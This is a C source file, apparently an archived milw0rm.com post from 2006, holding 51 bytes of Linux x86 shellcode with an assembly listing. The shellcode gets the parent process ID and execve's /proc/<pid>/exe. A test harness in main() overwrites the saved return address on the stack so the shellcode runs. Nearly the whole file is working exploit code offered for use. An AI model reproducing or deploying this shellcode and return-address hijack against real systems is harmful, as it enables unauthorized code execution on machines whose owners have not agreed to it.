45 lines
No EOL
1.3 KiB
C
45 lines
No EOL
1.3 KiB
C
/*
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* (linux/x86) getppid() + execve("/proc/<pid>/exe", ["/proc/<pid>/exe", NULL]) - 51 bytes
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* - izik <izik@tty64.org>
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*/
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char shellcode[] =
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"\x6a\x40" // push $0x40
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"\x58" // pop %eax
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"\xcd\x80" // int $0x80
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//
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// <_convert>:
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//
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"\x4c" // dec %esp
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"\x99" // cltd
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"\x6a\x0a" // push $0xa
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"\x5b" // pop %ebx
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"\xf7\xf3" // div %ebx
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"\x80\xc2\x30" // add $0x30,%dl
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"\x88\x14\x24" // mov %dl,(%esp)
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"\x85\xc0" // test %eax,%eax
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"\x75\xef" // jnz _convert
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"\x99" // cltd
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"\x5b" // pop %ebx
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"\x52" // push %edx
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"\x68\x2f\x65\x78\x65" // push $0x6578652f
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"\x53" // push %ebx
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"\x68\x72\x6f\x63\x2f" // push $0x2f636f72
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"\x68\x2f\x2f\x2f\x70" // push $0x702f2f2f
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"\xb0\x0b" // mov $0xb,%al
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"\x89\xe3" // mov %esp,%ebx
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"\x52" // push %edx
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"\x53" // push %ebx
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"\x89\xe1" // mov %esp,%ecx
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"\xcd\x80"; // int $0x80
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int main(int argc, char **argv) {
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int *ret;
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ret = (int *)&ret + 2;
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(*ret) = (int) shellcode;
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}
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// milw0rm.com [2006-01-21]
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